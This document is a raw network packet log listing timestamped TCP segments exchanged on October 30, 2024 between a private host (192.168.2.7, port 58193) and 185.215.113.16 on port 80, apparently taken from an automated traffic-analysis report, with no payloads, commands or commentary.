Oct 30, 2024 11:46:50.449465036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.449493885 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.449505091 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.480408907 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.480473995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.480484962 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.480496883 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.480539083 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.480559111 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.480571985 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.480582952 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.480583906 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.480640888 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.481327057 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481374979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481386900 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.481456995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481476068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481483936 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.481488943 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481501102 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481519938 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.481569052 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.481704950 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481739998 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481751919 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481785059 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481795073 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.481797934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.481911898 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.481911898 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.482203007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.482254028 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.482254982 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.482300997 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.482368946 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.482379913 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.482391119 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.482404947 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.482422113 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.482460976 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.482610941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.482657909 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.482659101 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.482676983 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.482716084 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.523549080 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.523581028 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.523591995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.523621082 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.523626089 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.523638010 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.523664951 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.523709059 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.523720026 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.523767948 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.523797989 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.523808956 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.523823977 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.523848057 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.523888111 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.524152040 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524168015 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524221897 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.524244070 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524260998 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524274111 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524286985 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524292946 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524322987 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.524333954 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.524375916 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.524733067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524755001 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524769068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524791002 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.524811983 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.524813890 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524826050 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524837971 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524849892 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524861097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.524861097 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.524908066 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.524930954 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.565032959 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565053940 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565067053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565100908 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565113068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565126896 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565164089 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.565164089 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.565188885 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.565188885 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.565216064 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565228939 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565241098 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565279007 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.565306902 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.565314054 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.565356970 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.595978022 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.596080065 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.596091986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.596107006 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.596117973 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.596131086 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.596139908 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.596143007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.596177101 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.596191883 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.597002983 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597042084 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597054958 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.597096920 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.597223997 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597278118 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597290039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597301960 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597335100 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.597409964 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.597414970 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597441912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597453117 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597481966 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597493887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597508907 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.597554922 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.597596884 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.597867012 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597899914 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597912073 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597960949 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597975016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597981930 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597985029 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597987890 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.597991943 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.598021984 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.598072052 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.639295101 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639307976 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639326096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639345884 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639398098 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.639451027 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639451027 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.639463902 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639481068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639502048 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.639512062 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639525890 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.639561892 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.639799118 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639873028 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639883995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639895916 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639919996 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.639925957 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639952898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639955997 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.639966011 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639976025 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.639982939 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.639990091 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.640028000 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.640063047 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.640642881 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.640691042 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.640693903 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.640703917 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.640716076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.640732050 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.640770912 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.680403948 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.680464029 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.680474043 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.680490017 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.680510044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.680521965 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.680546999 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.680586100 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.680759907 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.680771112 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.680783033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.680809975 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.680835009 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.681030989 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.681071997 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.681085110 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.681111097 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.681123018 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.681154966 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.681241989 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.681287050 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.681293011 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.681298018 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.681339025 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.711733103 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.711745977 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.711751938 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.711853027 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.711860895 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.711874962 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.711971998 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.712014914 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.712019920 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.712166071 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.712469101 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.712507963 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.712515116 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.712555885 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.712609053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.712644100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.712660074 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.712707043 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.712707996 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.712770939 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713202000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713212967 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713223934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713252068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713259935 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713263988 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713274956 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713303089 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713344097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713344097 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713396072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713587999 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713603973 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713614941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713629007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713639975 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713669062 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713699102 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713706017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713735104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713749886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.713753939 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713783026 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.713840008 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.754885912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.754899025 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.754915953 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.754929066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755003929 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.755036116 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755067110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755068064 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.755096912 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.755135059 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.755146980 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755158901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755194902 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755206108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755213022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.755250931 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.755606890 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755654097 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755665064 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.755673885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755686045 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.755703926 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.755758047 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.756002903 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756016016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756027937 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756068945 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.756093025 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.756153107 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756165981 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756232977 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.756256104 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.756423950 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756444931 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756458044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756469965 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756484032 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.756510019 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.756547928 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.756598949 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.795980930 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796025991 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796051979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796053886 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796072006 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796097994 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796128988 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796128988 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796210051 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796219110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796260118 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796325922 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796336889 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796348095 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796353102 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796421051 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796583891 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796638012 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796672106 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796730042 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796760082 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796787977 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796807051 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.796809912 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796830893 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.796857119 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.827110052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.827133894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.827145100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.827239990 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.827428102 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.827438116 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.827447891 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.827521086 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.828052998 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828082085 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828092098 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828131914 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.828155994 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.828296900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828339100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828383923 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828388929 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.828429937 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.828450918 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828461885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828470945 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828500032 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.828535080 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.828758955 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828771114 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828778982 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.828830957 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.828937054 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829011917 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829054117 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.829062939 CET	58193	80	192.168.2.7	185.215.113.16
